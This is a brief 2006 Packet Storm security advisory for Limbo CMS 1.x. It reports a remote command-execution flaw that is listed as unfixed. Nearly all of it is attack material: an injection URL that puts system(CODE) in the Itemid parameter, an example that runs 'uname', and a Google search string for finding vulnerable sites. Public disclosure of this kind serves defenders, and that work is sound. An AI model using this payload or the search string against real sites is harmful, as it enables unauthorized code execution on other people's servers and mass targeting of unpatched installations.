limboExec.txt

2006-03-02T00:00:00
ID PACKETSTORM:44294
Type packetstorm
Reporter Aleksander Hristov
Modified 2006-03-02T00:00:00

Description

                                        
                                            `Official page : http://www.limbo-cms.com/  
  
Vulnerable : Limbo 1.*  
  
Fix : No  
  
Bug : http://somehost/path-to-limbo/index.php?option=frontpage&Itemid=system(CODE)  
  
example : index.php?option=frontpage&Itemid=system(uname)  
  
Google search string : inurl:"option=frontpage"  
  
--  
Best Regards,  
Aleksander Hristov < root at securitydot.net > < http://securitydot.net >  
`